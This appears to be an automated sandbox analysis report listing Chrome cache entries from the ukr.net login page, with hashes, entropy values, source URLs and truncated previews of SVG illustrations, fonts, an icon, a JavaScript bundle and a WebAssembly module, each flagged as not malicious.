Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><g fill="none" fill-rule="evenodd"><path fill="#9ba1a9" d="M287.385 454.626v1H91v-1zm-211.385 0v1H58v-1z"/><path fill="#955527" d="M191.249 110.764c-1.225-2.354 26.729-10.832 27.172 12.403 0 0 52.367-1.283 27.363-30.364-8.656-10.068-7.766-18.392-7.506-26.141s-5.392-30.273-24.775-28.005c0 0-5.076-2.058-11.411 1.216-14.406 7.447-46.679 79.459-10.843 70.891"/><path fill="#94bf46" d="m293.478 156.613.235.042.322.074c1.464.369 5.441 1.802 7.333 6.765l.046.74c.169 3.272.512 16.77-4.487 27.817l-.19.413-.01.014c-2.102 4.502-7.326 10.687-11.102 13.686-4.139-.005-5.76-9.179-7.112-19.544l-.311-2.432-.284-2.263-.368-2.902-.278-2.097.176-.18c1.891-1.966 4.51-5.143 7.084-8.398l1.95-2.49 2.778-3.618zm-28.502 3.618-1.218-2.554 5.924.008c4.156.005 5.995 8.025 7.355 17.539l.235 1.702-.374.378-.34.328c-.657.617-1.173 1.005-1.497 1.089-.561.144-2.201-2.616-4.497-7.091l-.462-.906-.867-1.726zm-108.692

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	6828
Entropy (8bit):	3.920117477346385
Encrypted:	false
SSDEEP:	96:PJfpfqDtnpdVv0o4QcJTlAtdrT2UqJ186XzFH/vnLY2ngEpea/vnqVd9eTKoz:Psfv0vjJTmtdv2rr86DFfz7z7SIK2
MD5:	091C111011F843CFC427257EDA8C0632
SHA1:	268BD6CD8DC918950016E60FED7FDC645D88407B
SHA-256:	6C9A16D925E556331379BB4BA1FA4E572DB6493AD6420449EC724203AB16E6FF
SHA-512:	B3A6E7C73DC9852DFD1E1A7EA03322A26B0A3DB40DAB19660F47AF350657F021AFD3CC75D5A350900BAA22572CE8B2065721FC60BD7091599CFCEE2E0FB871EF
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/app-store-badge-83fca98c.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="119.664" height="40"><path d="M110.135 0H9.535Q8.986 0 8.44.002q-.457.004-.919.013A13 13 0 0 0 5.517.19a6.7 6.7 0 0 0-1.9.627 6.4 6.4 0 0 0-1.62 1.18A6.3 6.3 0 0 0 .82 3.617 6.6 6.6 0 0 0 .195 5.52a13 13 0 0 0-.179 2.002c-.01.307-.01.615-.015.921V31.56c.005.31.006.61.015.921a13 13 0 0 0 .18 2.002 6.6 6.6 0 0 0 .624 1.905A6.2 6.2 0 0 0 1.998 38a6.3 6.3 0 0 0 1.618 1.179 6.7 6.7 0 0 0 1.901.63 13.5 13.5 0 0 0 2.004.177c.31.007.613.011.919.011.366.002.728.002 1.095.002h100.6c.36 0 .724 0 1.084-.002.304 0 .617-.004.922-.01a13 13 0 0 0 2-.178 6.8 6.8 0 0 0 1.908-.63A6.3 6.3 0 0 0 117.666 38a6.4 6.4 0 0 0 1.182-1.614 6.6 6.6 0 0 0 .619-1.905 13.5 13.5 0 0 0 .185-2.002c.004-.31.004-.61.004-.921.008-.364.008-.725.008-1.094V9.536q.002-.549-.008-1.092.001-.46-.004-.92a13.5 13.5 0 0 0-.185-2.003 6.6 6.6 0 0 0-.62-1.903 6.47 6.47 0 0 0-2.798-2.8 6.8 6.8 0 0 0-1.908-.627 13 13 0 0 0-2-.176c-.305-.005-.618-.011-.922-.013-.36-.002-.725-.002-1.084-.002" s

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	9055
Entropy (8bit):	4.329815309844381
Encrypted:	false
SSDEEP:	192:OxNqodms1fsf4Ua+UO8Hd48YY8/JybsbXyl8lDS1tp03HptaEJy:KoX8Hm8YY8/+WCGDS1toJY
MD5:	061A3D430763A183C754086ACF8AF9D9
SHA1:	9C511D4A4794D8FA16A13E39916044EF78057128
SHA-256:	6E981201EB5179A2F9E3CDA1DC2B5859038C2EE780A50768B54C19B5F9BCC861
SHA-512:	CFDF2AB646BDDE36EF2DC831905A4F1D9CAF757C40084E70D67F10247D8C7B72BB3B5B5AE417A21A48FE1C4E50972FA5BD22837C0E2038591766265998968DFF
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-big-files-db9d7440.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M397.688 455.5H290.173zM460.292 455.5H428.99zM152.806 455.5H25.291zM189.552 455.34h-20.415zM456.99 206.803l46.72 37.793-.001.11a7.43 7.43 0 0 1 4.291 6.737V407.57a7.43 7.43 0 0 1-7.431 7.431H221.43a7.43 7.43 0 0 1-7.431-7.431V251.443a7.43 7.43 0 0 1 4.153-6.67l13.032-10.767M409.537 336.768l90.621-79.494m-274.375 6.672 82.368 72.754"/><path d="m222 401.382 117.487-85.247c11.815-9.177 27.9-9.535 39.72-.879L499 403M307.975 172.337l1.454-8.242c1.384-7.85 8.87-13.092 16.72-11.708l113.718 20.051c7.85 1.384 13.092 8.87 11.708 16.721l-10.527 59.702c-1.384 7.85-8.87 13.092-16.721 11.708L310.61 240.518c-6.587-1.162-11.338-6.62-11.879-12.984"/></g><path fill="#dfe1e9" d="m396.055 188.164 32.694 5.764a4.33 4.33 0 1 1-1.504 8.53l-32.693-5.766a4.33 4.33 0 1 1 1.503-8.528M392.337 205.096l34.115 6.015a3.608 3.608 0 1 1-1.253 7.108l-34.115-6.016a3.608 3.608 0 0 1 1.253-7.107M

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	18445
Entropy (8bit):	4.057963672218815
Encrypted:	false
SSDEEP:	384:tExPaGDZijS/prM84wLhRRkqhp5P33+nXKgou/7X8GeesDiiLw0X:mxPNDZ2Sxg8LKYpBgX51/7XfOWiLw0
MD5:	F1B18A7B5958339ED58D30DF2628B5C7
SHA1:	0254F958D07B72D59C9C08EFC4FD726BE58CE249
SHA-256:	4802A705EB059618A85B60046EC68D2D3828512F9E569BBE29CD361B05EAEC28
SHA-512:	0508A991E8CB74304CADF9DA649DF80D7AEF9083646FFACC62D1B8537785BB143F87E398FBEF4B6378ABA67D65434FC680CAA2BAFB55362D616F83D47E128DBC
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-speedy-5282c395.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g transform="translate(15 139)"><rect width="336" height="221" fill="#dfe1e9" rx="14"/><path fill="#f3f4f6" d="M15.481 21.194c3.043 0 5.51-2.506 5.51-5.597S18.524 10 15.48 10s-5.51 2.506-5.51 5.597 2.467 5.597 5.51 5.597m15.026 0c3.043 0 5.51-2.506 5.51-5.597S33.55 10 30.507 10s-5.51 2.506-5.51 5.597 2.468 5.597 5.51 5.597m15.027 0c3.043 0 5.51-2.506 5.51-5.597S48.576 10 45.533 10s-5.51 2.506-5.51 5.597 2.467 5.597 5.51 5.597"/><path fill="#f6f7f8" d="M11.709 30.984h313a4 4 0 0 1 4 4v171a8 8 0 0 1-8 8h-305a8 8 0 0 1-8-8v-171a4 4 0 0 1 4-4"/><path fill="#fff" d="M80.709 60.984h222a4 4 0 0 1 4 4v149h-230v-149a4 4 0 0 1 4-4m2.598-20.598h78a6.5 6.5 0 1 1 0 13h-78a6.5 6.5 0 0 1 0-13m-61.5 27h42a5 5 0 1 1 0 10h-42a5 5 0 0 1 0-10"/><path fill="#9ba1a9" fill-rule="nonzero" d="M86.209 144.984h54v-1h-54zM86.209 155.984h72v-1h-72z"/><path fill="#dfe1e9" d="M24.209 54.984a8.5 8.5 0 1 0 0-17 8.5 8.5

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	37423
Entropy (8bit):	3.903421295947194
Encrypted:	false
SSDEEP:	768:oy/a1vg4CgGYpodDYoU+4w5Az4XexcI/NP0z:o6CGhYpuDYojzAzzG
MD5:	84B41FB721E3FD3C6790E68CF04DBAA5
SHA1:	1FB84A260F5D02CA2CEE7494DB74AFB411FEBD2D
SHA-256:	354DBDF1463406AF69E4C91FAE4F7713C9FC225E7562B4155E40CC513CA9C1CD
SHA-512:	85BB78CB2A3B857715FA2E7EF144B9490921C2EE8A1BA0E534C0FF1DAEFDDD9F69DFAA0BD401D078E5153F66CC08605062AA969A6CCF4D9EADD440153E45AEC3
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-popular-bfc8c819.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><g fill="none" fill-rule="evenodd"><path fill="#9ba1a9" d="M287.385 454.626v1H91v-1zm-211.385 0v1H58v-1z"/><path fill="#955527" d="M191.249 110.764c-1.225-2.354 26.729-10.832 27.172 12.403 0 0 52.367-1.283 27.363-30.364-8.656-10.068-7.766-18.392-7.506-26.141s-5.392-30.273-24.775-28.005c0 0-5.076-2.058-11.411 1.216-14.406 7.447-46.679 79.459-10.843 70.891"/><path fill="#94bf46" d="m293.478 156.613.235.042.322.074c1.464.369 5.441 1.802 7.333 6.765l.046.74c.169 3.272.512 16.77-4.487 27.817l-.19.413-.01.014c-2.102 4.502-7.326 10.687-11.102 13.686-4.139-.005-5.76-9.179-7.112-19.544l-.311-2.432-.284-2.263-.368-2.902-.278-2.097.176-.18c1.891-1.966 4.51-5.143 7.084-8.398l1.95-2.49 2.778-3.618zm-28.502 3.618-1.218-2.554 5.924.008c4.156.005 5.995 8.025 7.355 17.539l.235 1.702-.374.378-.34.328c-.657.617-1.173 1.005-1.497 1.089-.561.144-2.201-2.616-4.497-7.091l-.462-.906-.867-1.726zm-108.692

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 24288, version 3.1245
Category:	downloaded
Size (bytes):	24288
Entropy (8bit):	7.992528901058251
Encrypted:	true
SSDEEP:	384:m4Sujyv6z2I2ph8YRRc4T5UkrtJCnjbf1HTyz9KjdGpuxwzLm:Kg+AOQYRn/rIrFjpx8m
MD5:	5823DD5BBF5368BF9A79D9C2A3732F4B
SHA1:	F0225F1CE4530B37B62ABB0E99C9F5283917A5F7
SHA-256:	1EA3078FE065E2143E9585B90F1B121600B1D797552CE40000DC497BB136CEEE
SHA-512:	6C78044458FEDDD3301B6F1C85BCA2726DF22B05D432DC071FA06BEF26A2C18C6E6387DCBBA561A31A6ED5212B6BECAA67B172D3703623DE1F5AA63CF662C742
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/inter-bold-latin-4bgN5WJ1.woff2
Preview:	wOF2......^...........^..........................\|......P.`..P........6.$..L..(.. ..P. .D...t........j....M...f....;uf ...........cl..=.h.....V..j]..n...p...e.m...COEe.(.JE<.q".x"...-?.;.x{y..w.z{..A...a..b..3.A.m.U.2......#]L.z2yyo..5ZL..a..0.......E..e.".q.#Y...Q...,lx..x......t#.. ..'V..H.f.J..$$!...Z.....C/"M.b+......b}D.....=~.........#.5j...>..+.B#...@A...WE....F.M......%.Hf.B...9w..9...9s.9c.1g.J..o,Z.T.K....@E.{....+ ....}r.s...6.#T...N...`.CT....M.m..%).@.....x.8...4.W..6...,...V....... ...6.h^..m..\|.d.......V....n}.t.\|;U.ANL.).......}6.o..vW.n.q...........A.A.5.V........R.'..E.Z..@.....~...4.H.!.nqkD..B...#.$........k-...5..n.N.j..:.y.....W..8&?....c...v...[.#......>.....@..;....H.!F@a..'..)}..B.r.~..Ujz.....C.....qUz...OU...B.....b.zD.de..k..[..)..L^.c......^&..E...."\.S&.......Sa.79..t..4.......}..T5QO........E.<.=.h..k...2v..6; .E.........;..P&..Q`d.287%}.hiS..p......&......X.0=..x40X....UI.>..m.....AQ...<...O....leD.

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	39605
Entropy (8bit):	4.49449459722814
Encrypted:	false
SSDEEP:	768:iOsa35jkGdEkmbIBVADEqOh+2J9cKamiSI/uYxa8aeeI:iF04bIBVADEqOh+2fczSIFa8LF
MD5:	2007377054BBD49FA70AA6F40D58F5ED
SHA1:	BCA2EDC4EF5C9BBABDDBEB28AD8A62D57D8D0AAA
SHA-256:	D2854A62920E0D72F7607234CE81FA9122D1DA7B9FEE627CC62E16ED12D7EFDD
SHA-512:	3289244775B63FDA00B05F0207E25A77814E961176189355025EADD434357BBE88F4ED068AE163D818204C23FAE086888E20A032202603C24B3B5B685828C7F2
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><linearGradient id="a"><stop offset="0" stop-color="#faef54"/><stop offset=".374" stop-color="#faef54"/><stop offset="1" stop-color="#ee9026"/></linearGradient><radialGradient xlink:href="#a" id="d" cx="49.93%" cy="50.015%" r="50.059%" gradientTransform="matrix(-.9953 0 0 -1 .996 1)"/><linearGradient id="b"><stop offset="0" stop-color="#fbf172"/><stop offset=".133" stop-color="#fbf172"/><stop offset="1" stop-color="#ee9026"/></linearGradient><linearGradient xlink:href="#b" id="e" x1="49.636%" x2="49.636%" y1="101.225%" y2="-.667%"/><linearGradient xlink:href="#b" id="f" x1="50.136%" x2="50.136%" y1="100.142%" y2=".204%"/><linearGradient xlink:href="#b" id="g" x1="49.69%" x2="49.69%" y1="100.955%" y2="-.917%"/><linearGradient xlink:href="#b" id="h" x1="50.195%" x2="50.195%" y1="99.896%" y2="-.043%"/><radialGradient xlink:href="#a" id="i" cx="49.93%" cy="50.015%" r="50.033%" gradie

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 6428, version 3.1245
Category:	downloaded
Size (bytes):	6428
Entropy (8bit):	7.970975066679926
Encrypted:	false
SSDEEP:	192:WDWEEMZCFv6tGj0imuUlysJfGKebllmEZKxy1yufh:nxMI560Mly4YblcEExy11
MD5:	A87810C844FF7642FF5E1C27EB45AE80
SHA1:	BCB0ADD6C176B3F9E73DC10E6FAF7EE1A97B8A12
SHA-256:	6E56C64C8CA06E9EAFA7113D385946D4EFD42F54AB2C906860CB3A2134940148
SHA-512:	08207964FC86ED2E1BCB3BBE8BDC8961C961412A810AD8BC559C86CB42B6300DEA43094D428D9961C96209FF35AB1D480229AD65C2DF783E7F7872C13D87ABAD
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/inter-bold-cyrillic-cOEmsfFa.woff2
Preview:	wOF2..............7 ..............................P..R..t.`.....T...6.$..H..&.. ..P. ..,..^.Z.B._&pc...3.0Bk.......5.....4.c/..3..bO....g.yD.u..Ify..{...M....Z......3.C.@....%.>.......z..hm.8,.......H..dm.F.F.....V...%.K:V......).0v..`-\.gigk..?..5.v.{.Y..`w...a...@..=!K.h...n.z.b.dC54C....q...o..V...,.".c....y....wm.JM..!K...Y.,Q...[.B.......%.O..'..;!-..q60s......<....J6.Hp......%..@.BAA.."..C`` ..B.!. N.A....9....T..#...a.u.Zt.6..G.a.-..lC.g.`....5..{.'.......#D.F....,.![6......G .D.>...Z;C..... ..._.$.......U..E... !P... .#...B.@A....4AR.t....B.y.F....(.(.. .P.L..8.2...'E.L..].L..f.#o.rQH.&.5.....&b.E=.(.....^t...l.f..)..L.".G=.V..O.B9.fS$EV....7J1.x..n;F..X.qy1.<.......5...D..X.E...wk.....D.).".......s.....p..w.#..>G..>....c..:.=@...1....y...,.(.. .....,NGY..w...\|]..c.e.8.".b.S.wAV.. ......}..O...p.R..8.....CP..w...O1.....-bJ........I..G....\|}?.....R..#)..q....5.... z.S.\|(2.....A..@%m...,..(.(.&Xy....fh..%.lt...q.../k..Q.4zr.p...s

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (53473)
Category:	dropped
Size (bytes):	53526
Entropy (8bit):	5.531654633777781
Encrypted:	false
SSDEEP:	768:FY8ZVYXVgG0i4nbKq6a6cEKEL8fQzWTcDsvw+LLkycRNVoZYuqDVdrw4jPzVAC6I:FYsVw14neq6a8PKSRAm/59PEyZ
MD5:	1E4FCDA955327300308BE41295095DCA
SHA1:	0685EE58D6FC138D37BC735B33440213C89313DD
SHA-256:	C2FFB280824AF6E7168DAC2C21022E1E260B501F7A31C6F826CF2CA0A2642DEA
SHA-512:	3F862F389474A66E9A70457867362A9AD66932EA5D071C5C2A27DF1100B1DBEF72CB2D5AF906D06B81745D585145018F23C46D0B0418D5CB93269F7EBFB95F8A
Malicious:	false
Preview:	(()=>{var __webpack_modules__={2413:(module,__unused_webpack_exports,__webpack_require__)=>{var POW=function(POW){POW=POW\|\|{};var Module=POW,Module;Module\|\|(Module=(void 0!==POW?POW:null)\|\|{});var moduleOverrides={};for(var key in Module)Module.hasOwnProperty(key)&&(moduleOverrides[key]=Module[key]);var ENVIRONMENT_IS_WEB=!1,ENVIRONMENT_IS_WORKER=!1,ENVIRONMENT_IS_NODE=!1,ENVIRONMENT_IS_SHELL=!1,nodeFS,nodePath;if(Module.ENVIRONMENT)if("WEB"===Module.ENVIRONMENT)ENVIRONMENT_IS_WEB=!0;else if("WORKER"===Module.ENVIRONMENT)ENVIRONMENT_IS_WORKER=!0;else if("NODE"===Module.ENVIRONMENT)ENVIRONMENT_IS_NODE=!0;else{if("SHELL"!==Module.ENVIRONMENT)throw new Error("The provided Module['ENVIRONMENT'] value is not valid. It must be one of: WEB\|WORKER\|NODE\|SHELL.");ENVIRONMENT_IS_SHELL=!0}else ENVIRONMENT_IS_WEB="object"==typeof window,ENVIRONMENT_IS_WORKER="function"==typeof importScripts,ENVIRONMENT_IS_NODE="object"==typeof process&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER,ENVIRONMENT_IS_SHEL

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	WebAssembly (wasm) binary module version 0x1 (MVP)
Category:	downloaded
Size (bytes):	165703
Entropy (8bit):	6.587005410628575
Encrypted:	false
SSDEEP:	3072:KnvGRy1SHu7ud15pIqLH2IIEHnyiSLoH68iD1TM8Z3aYWQnhyehnFz47:6pCPIqLH2IImnyiSLoH68ihtKqhyehnK
MD5:	E0BC307C4DF5FFE99D901A7329A8766A
SHA1:	A3DC017FEC124D1F4AAFD47C2E353AF887E53ADA
SHA-256:	FC4772223A57EDB336C88A07B1D0C5762736E64DE0658A88E67A172063E697A8
SHA-512:	5FE60DFAE178527BAEDA25301A9D30723F0F4D99B2AEA97C10CC66349C4B240CCBFDDAB2A815CB427298B9AFD404EFAABBA240CB31B55B408CBC29359C76512F
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/assembly-vn6BflkY.wasm
Preview:	.asm........`........`...`.....`....`......`..`......`.......`.........`....`...`.~.~`.....`.....`..~..`.......`........`.~....`.~...`..\|......`.\|..\|`..........`.........`............. .env.DYNAMICTOP_PTR....env.STACKTOP....env.STACK_MAX....env.abort...env.enlargeMemory...env.getTotalMemory...env.abortOnCannotGrowMemory...env._llvm_bswap_i64...env.__embind_register_integer...env._abort...env.__embind_register_void...env.__embind_register_function...env.___setErrNo...env.__embind_register_std_wstring...env._emscripten_memcpy_big...env.__embind_register_bool...env.__embind_register_std_string...env.__embind_register_emval...env.__embind_register_memory_view...env.__embind_register_float...env.___syscall54...env.___unlock...env.___lock...env.___syscall6...env._time...env.___syscall140...env.___syscall146...env._llvm_bswap_i64...env.memory.......env.table.p......env.memoryBase....env.tableBase..................................................................................................

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	9906
Entropy (8bit):	4.319078757982646
Encrypted:	false
SSDEEP:	192:OvVUETkYK2yX8DwbFh0sipp+I6wwL7mYwFTZ4x+U0c/7:qU2XDzrT6wOlwgP/7
MD5:	6155C3D091B96D3D08DC85B37AFF691D
SHA1:	60455EA7A64A23640D7920E17B11D3F21FFA174A
SHA-256:	3E7C5499D347D13D23BF30C038018D94A61D644C3261B1DC0DA65DD0129CEA4F
SHA-512:	8D6B1FDEAB74C5DD49FAC810B81DCBD87E908C2E709CF9E3EAF6247F2E7C78D10F5B528426007F502ED20DA12B2A2F2E91D0F6566392AF96A19A3043D8EC1A22
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M163.161 455.5H59zM444 455.5H339.839z"/></g><g stroke="#9ba1a9"><path d="M565.447 372.788c3.763 1.149 7.623 2.62 9.37 4.201 0 0-15.27 6.08-12.868 7.451 2.403 1.372 18.6-4.227 18.6-4.227s12.666 6.292 9.51 14.043c-3.154 7.75-8.507 8.808-10.464 7.98-1.956-.828-12.426-8.85-13.18-7.307-.755 1.542 4.739 9.008 9.647 10.775 0 0-12.524 7.286-17.88 2.45-5.355-4.838-4.464-9.647-7.828-12.578-3.365-2.93-6.694-3.94-5.63-1.673s7.591 6.146 8.638 10.684c1.046 4.539 2.248 7.751-3.93 4.826s-15.276-10.765-14.11-16.21M479.969 380.902s15.258-8.413 8.138-19.83c0 0-5.697-7.01-11.8-8.813 0 0 3.255 17.025 0 17.426s-2.238-19.228-2.238-19.228-16.073-7.612-22.38-7.011c0 0 9.97 16.625 6.714 16.224s-14.444-17.226-14.444-17.226-16.48-3.004-19.124 6.61c-2.646 9.615 1.627 14.422 4.069 15.023 2.441.6 18.106.4 17.7 2.403-.408 2.003-10.987 5.208-16.887 3.405 0 0 6.51 15.824 15.055 15.023s11.19-6

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6828
Entropy (8bit):	3.920117477346385
Encrypted:	false
SSDEEP:	96:PJfpfqDtnpdVv0o4QcJTlAtdrT2UqJ186XzFH/vnLY2ngEpea/vnqVd9eTKoz:Psfv0vjJTmtdv2rr86DFfz7z7SIK2
MD5:	091C111011F843CFC427257EDA8C0632
SHA1:	268BD6CD8DC918950016E60FED7FDC645D88407B
SHA-256:	6C9A16D925E556331379BB4BA1FA4E572DB6493AD6420449EC724203AB16E6FF
SHA-512:	B3A6E7C73DC9852DFD1E1A7EA03322A26B0A3DB40DAB19660F47AF350657F021AFD3CC75D5A350900BAA22572CE8B2065721FC60BD7091599CFCEE2E0FB871EF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="119.664" height="40"><path d="M110.135 0H9.535Q8.986 0 8.44.002q-.457.004-.919.013A13 13 0 0 0 5.517.19a6.7 6.7 0 0 0-1.9.627 6.4 6.4 0 0 0-1.62 1.18A6.3 6.3 0 0 0 .82 3.617 6.6 6.6 0 0 0 .195 5.52a13 13 0 0 0-.179 2.002c-.01.307-.01.615-.015.921V31.56c.005.31.006.61.015.921a13 13 0 0 0 .18 2.002 6.6 6.6 0 0 0 .624 1.905A6.2 6.2 0 0 0 1.998 38a6.3 6.3 0 0 0 1.618 1.179 6.7 6.7 0 0 0 1.901.63 13.5 13.5 0 0 0 2.004.177c.31.007.613.011.919.011.366.002.728.002 1.095.002h100.6c.36 0 .724 0 1.084-.002.304 0 .617-.004.922-.01a13 13 0 0 0 2-.178 6.8 6.8 0 0 0 1.908-.63A6.3 6.3 0 0 0 117.666 38a6.4 6.4 0 0 0 1.182-1.614 6.6 6.6 0 0 0 .619-1.905 13.5 13.5 0 0 0 .185-2.002c.004-.31.004-.61.004-.921.008-.364.008-.725.008-1.094V9.536q.002-.549-.008-1.092.001-.46-.004-.92a13.5 13.5 0 0 0-.185-2.003 6.6 6.6 0 0 0-.62-1.903 6.47 6.47 0 0 0-2.798-2.8 6.8 6.8 0 0 0-1.908-.627 13 13 0 0 0-2-.176c-.305-.005-.618-.011-.922-.013-.36-.002-.725-.002-1.084-.002" s

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.917962416527031
Encrypted:	false
SSDEEP:	24:KwK83oSdY6TbapMSrORL4I4xITjka1wqQwnTDjFily6tN125Ov9:RK+oOnvAOqLMj71wqQwnTM06L9
MD5:	D2F9D7A93B342ED873B83EF890009FD3
SHA1:	4EFDC0D7ED4E03719B27A16B80675D5CC3D98C08
SHA-256:	98E7B565107CEC0DE9C9F0D02EC8FA9A34C02033711BB8BE86B64D830F69BE38
SHA-512:	52967761AD27110A4CCF9C8D96966C198D006E19406188A637DC48E5B328F03C9A15E41D45DC535E17BBEC66A8B99CF9D768C9D220FF6FEEB6ED40D08A6EF56B
Malicious:	false
Preview:	............ .h.......(....... ..... .........................O..N..L..K..J..H..G..E..D..B...A...?...=...=...;...8...N..O..M..L..K..I..H..E..D..C...A...@...>...=...;...:...M..N..N..M..K..J..H..G..E..C...B...A...?...>...<...4...F...G...O..M..L..K..I..G..F..E..C...A...@...>...'.\|...l.J...G...A...J..L..K..J..G..G..E..C...B...6.....r...l...l.J...H...F...A...B...K..J..I..G..F..B...'.....n...n...m...l.J...H...G...D...k.......x..I..H..q......E.....o...n...m...l.J...H...P...........................................t...m...l.J...l...................................................G.....l.*.m...........................................................]..~W..................................................~W.!oN'........................................................!oN'II7........................................................II7.UU9....L.................................................:UU9.....@@@....+...W...ei...U...U...U...U...h.

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	10806
Entropy (8bit):	4.350008077565101
Encrypted:	false
SSDEEP:	192:OIVT5pn3kHh9uiEcC3vbM71l3jX5TcloFglNBO6XsumcF2hFc2j:7VTHng703Y73L5TclWWNB4s2hFcq
MD5:	17490E2F7883C6DF951999F2ECB99561
SHA1:	77805424745CBC7A38E3BE4D7AC51D38BEF2FE8B
SHA-256:	0182152F95745FA63B957335CCB19961DFC36C14655823A6890A8ADDAF0FC2C0
SHA-512:	9583584BBCF5731FF430A9822B7E8418427E2F0DCD1818E946FEC963DB2861380BFD5BE18AB829FEDBA7CA7CF7489513637CF81D22DF6B0F85464755565F6C10
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="m169.772 258.986-60.105 16.965c-5.56 1.595-11.359-1.62-12.953-7.18l-13.033-45.45c-1.594-5.56 1.62-11.359 7.18-12.953l71.117-20.468"/><path d="m161.948 228.966-6.583 8.667a14.4 14.4 0 0 1-16.574 4.752l-47.728-18.108a14.33 14.33 0 0 1-6.723-5.253"/></g><g stroke="#9ba1a9"><path d="m97.923 281.82-22.612 8.553c-5.469 1.883-11.428-1.023-13.311-6.492L49.472 247.5c-1.883-5.469 1.024-11.428 6.493-13.311l20.731-7.139"/><path d="m81.73 255.792-25.726-8.248a14.33 14.33 0 0 1-7.19-5.161"/></g><g stroke="#9ba1a9"><path d="m219.4 253.244-37.84 2.646c-5.769.403-10.773-3.947-11.176-9.716l-4.22-60.339c-.403-5.77 3.947-10.773 9.717-11.177l41.649-2.912"/><path d="m213.609 218.397-43.002-29.365a14.34 14.34 0 0 1-4.549-4.688"/></g><g transform="rotate(1 -8803.76 13093.108)"><path stroke="#9ba1a9" d="M32.912 95.721H11.47C5.371 95.721.427 90.763.427 84.646L.336 11.24C.336 5.124 5.2

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 6572, version 3.1245
Category:	downloaded
Size (bytes):	6572
Entropy (8bit):	7.964980029505037
Encrypted:	false
SSDEEP:	192:Q428EHnQ3Avk2RvmLYIfLuG5gSBE57HcY85boZIM00:L28EHnQ3A5lwgSoZJn00
MD5:	63900F17611A2222F20FC3B270F4AAD1
SHA1:	267E19BB9D53368ED7CC778FBEAD1966BE9B3C20
SHA-256:	D357456DC9D7BD9DA26A08B29D951E4F2C42A410D1881B5DC51C1F832D781BAD
SHA-512:	B1767FBEF383A85D369ED5BB6ACF80DB8221A865C95006C9BA5B93D5F0CA338758D3ABE22F983395B5BA5E4453CA511858EA98B0EB47D9E9E761001151BB1CF6
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/inter-semi-bold-cyrillic-TYsCInMJ.woff2
